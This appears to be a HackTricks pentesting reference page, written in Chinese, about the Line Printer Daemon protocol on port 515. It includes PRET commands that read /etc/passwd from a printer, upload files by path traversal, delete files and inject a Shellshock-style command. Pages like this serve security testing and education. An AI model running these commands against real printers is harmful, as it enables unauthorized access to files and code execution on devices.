hacktricks/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md

31 lines
1.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{{#include ../banners/hacktricks-training.md}}
### **LPD协议简介**
在1980年代**Line Printer Daemon (LPD)协议**在伯克利Unix中开发后来通过RFC1179正式化。该协议通过端口515/tcp操作允许通过`lpr`命令进行交互。通过LPD进行打印的本质涉及发送一个**控制文件**(以指定作业细节和用户)以及一个**数据文件**(包含打印信息)。虽然控制文件允许选择**各种文件格式**用于数据文件但这些文件的处理由特定的LPD实现决定。一个广泛认可的Unix类系统实现是**LPRng**。值得注意的是LPD协议可以被利用来执行**恶意PostScript**或**PJL打印作业**。
### **与LPD打印机交互的工具**
[**PRET**](https://github.com/RUB-NDS/PRET)引入了两个基本工具,`lpdprint``lpdtest`提供了一种与LPD兼容打印机交互的简单方法。这些工具使得从打印数据到操纵打印机上的文件如下载、上传或删除的一系列操作成为可能
```python
# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local
```
对于有兴趣进一步探索**打印机黑客**领域的个人,可以在这里找到一个全面的资源:[**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page)。
# Shodan
- `port 515`
{{#include ../banners/hacktricks-training.md}}